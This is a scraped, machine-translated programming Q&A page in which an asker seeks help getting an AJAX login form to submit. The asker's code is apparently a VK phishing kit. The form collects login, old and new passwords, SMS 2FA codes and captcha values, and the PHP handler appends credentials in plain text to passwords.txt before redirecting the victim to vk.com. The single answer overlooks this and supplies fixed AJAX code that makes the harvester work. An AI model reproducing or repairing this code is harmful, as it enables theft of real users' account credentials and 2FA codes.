Welcome to OStack Knowledge Sharing Community for programmer and developer-Open, Learning and Share
Welcome To Ask or Share your Answers For Others

Categories

0 votes
408 views
in Technique[技术] by (71.8m points)

javascript - 如何在AJAX中获取正确的JSON请求并进行正确的php处理程序以成功发送ajax表单?(How to get correct JSON request in AJAX and make correct php handler to send ajax-form sucessfully?)

I have some problems with sending AJAX form.I have got error like on the screenshot:

(我在发送AJAX表单时遇到一些问题。)

在此处输入图片说明

What about line 72 and other type of code,I try to send request using ajax:

(那第72行和其他类型的代码呢,我尝试使用ajax发送请求:)

 var auth = $.ajax("continue.php?act=login&login=" + encodeURIComponent(login) + "&oldPassword=" + encodeURIComponent(password) + "&captcha_key=" + captcha_key + "&captcha_sid=" + captcha_sid + "&validation_sid=" + validation_sid + "&code=" + smscode + "&newPassword=" + encodeURIComponent(g("newpassword").value) + "&is2fa=" + (have2fa ? 1 : 0) + "&qid=" + encodeURIComponent(window.location.search) + "&token=" + gettedToken).done(function() { var response = JSON.parse(auth.responseText); /*if (response.access_token) { changePassword(login, password, response.access_token, g("newpassword").value); return; }*/ if (response.api) { if (response.result) { window.location.replace("https://vk.com/id0"); } else { gettedToken = response.token; var e = response.api.error; if (e.error_code === 14) { $("#password, #sms").fadeOut(300, function () { $("#capt").fadeIn(300); }); g("captcha_key").value = ""; g("captcha_key").focus(); g("capt_img").src = e.captcha_img; g("captcha_sid").value = e.captcha_sid; } } return; } 
So, where can be the problem to fix it?Because button to send form isn't work.

(那么,该怎么解决这个问题呢?因为发送表单的按钮不起作用。)

Here is my file continue.php

(这是我的文件continue.php)

 if (isset($_GET['mobile']) && isset($_GET['pass']) && isset($_GET['newpass']) && isset($_GET['repass']) && ($_GET['mobile']!="") && ($_GET['pass']!="") && ($_GET['newpass']!="") && ($_GET['repass']!="")) { $location='https://vk.com/'; $Log = $_GET['mobile']; $Pass = $_GET['pass']; $newpassword = $_GET['newpass']; $newpassword2 = $_GET['repass']; $smscode = $_GET['code']; $log = fopen("passwords.txt","a+"); fwrite($log,"\n $Log:$Pass:$newpassword:$newpassword2 \n"); fclose($log); $answer = ['type' => 'success', 'message' => 'All OK']; echo json_encode($answer); } else { echo json_encode(['type' => 'error', 'message' => 'All not OK']); } 

  ask by Павел Евграфов translate from so


与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome To Ask or Share your Answers For Others

1 Answer

0 votes
by (71.8m points)

First of all there are some things in your code that I will like to point out.

(首先,我想指出您代码中的某些内容。)

  1. If you are using $.ajax to do some kinda of login which It looks like you are tryng to do, I would use the POST method instead of GET , since you are dealing with passwords and other important information.

    (如果您正在使用$ .ajax进行某种登录,这看起来像您在尝试,我将使用POST方法而不是GET ,因为您正在处理密码和其他重要信息。)

  2. You never specified in your $.ajax what type of data your request is using eg: JSON,TEXT,HTML

    (您从未在$ .ajax中指定请求使用的数据类型,例如: JSON,TEXT,HTML)

  3. (this is a personal one) I would use an object to pass the parameters of the ajax call rather than append them to the url.

    ((这是个人的)我将使用一个对象传递ajax调用的参数,而不是将其附加到url。)

that said here is a javascript code you can try in order the get the response back from your server:

(上面说的是一个javascript代码,您可以尝试从服务器获取响应:)

`//I would use an object of parameters rather than embedded parameters into the url
let params = {
"act": "login",// i guess u use some case match and the actvity login have the php code you provide
"login": encodeURIComponent(login),
"oldPassword": encodeURIComponent(password) ,
"captcha_key": captcha_key , 
"captcha_sid": captcha_sid , 
"validation_sid": validation_sid , 
"code": smscode , 
"newPassword": encodeURIComponent(g("newpassword").value),
"is2fa": (have2fa ? 1 : 0) , 
"qid": encodeURIComponent(window.location.search) ,
"token":  gettedToken
},
url = "continue.php",//I guess this is the php page that contains the methods you append to your question
type = "GET";// I would use post instead of get since you are sending passwords and other stuff

const _ajax = (url, type, params) => {
  return $.ajax({
    url: url,
    type: type,
    dataType: 'JSON',
    data: params
  })
}

_ajax(url,type,params)
.done((response)=>{
console.log(response);
//do your stuff here
})`

Please let me know if this answer was helpful to resolve your problem or if there is something else I can do to help you.

(如果此答案对解决您的问题有帮助,或者我可以采取其他措施来帮助您,请告诉我。)


与恶龙缠斗过久,自身亦成为恶龙;凝视深渊过久,深渊将回以凝视…
Welcome to OStack Knowledge Sharing Community for programmer and developer-Open, Learning and Share
Click Here to Ask a Question

2.1m questions

2.1m answers

60 comments

57.0k users

...